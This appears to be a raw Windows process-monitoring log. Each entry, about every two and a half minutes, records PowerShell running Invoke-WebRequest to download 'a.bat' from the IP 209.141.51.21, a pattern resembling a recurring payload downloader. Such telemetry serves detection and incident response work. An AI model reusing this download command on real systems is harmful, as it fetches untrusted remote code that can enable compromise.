C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:53:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:56:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 15:58:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:01:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:03:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:06:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:08:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:11:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:13:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:16:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:18:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:21:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:23:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:26:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:28:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:31:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:33:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:36:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:38:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:41:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:43:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:46:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:48:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:51:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:53:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:56:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 16:58:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:01:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:03:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:06:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:08:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:11:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:13:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:16:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:18:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:21:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:23:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:26:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:28:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:31:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:33:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:36:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:38:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:41:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:44:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:46:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:49:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:51:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:54:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:56:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 17:59:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:01:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:04:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:06:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:09:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:11:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:14:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:16:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:19:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:21:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:24:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:26:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:29:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:31:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:34:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:36:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:39:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:41:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:44:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:46:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:49:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:51:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:54:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:56:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 18:59:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:01:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:04:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:06:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:09:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:11:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:14:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:16:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:19:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:21:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:24:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:26:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:29:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:31:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:34:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:36:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:39:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:41:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:44:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:46:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:49:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:51:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:54:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:56:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 19:59:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:01:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:04:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:06:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:09:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:11:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:14:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:16:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:19:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:21:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:24:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:27:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:29:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:32:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:34:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:37:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:39:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:42:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:44:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:47:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:49:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:52:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:54:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:57:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 20:59:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:02:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:04:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:07:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:09:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:12:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:14:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:17:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:19:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:22:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:24:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:27:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-17 21:29:43 NOTIFY: PROCESS 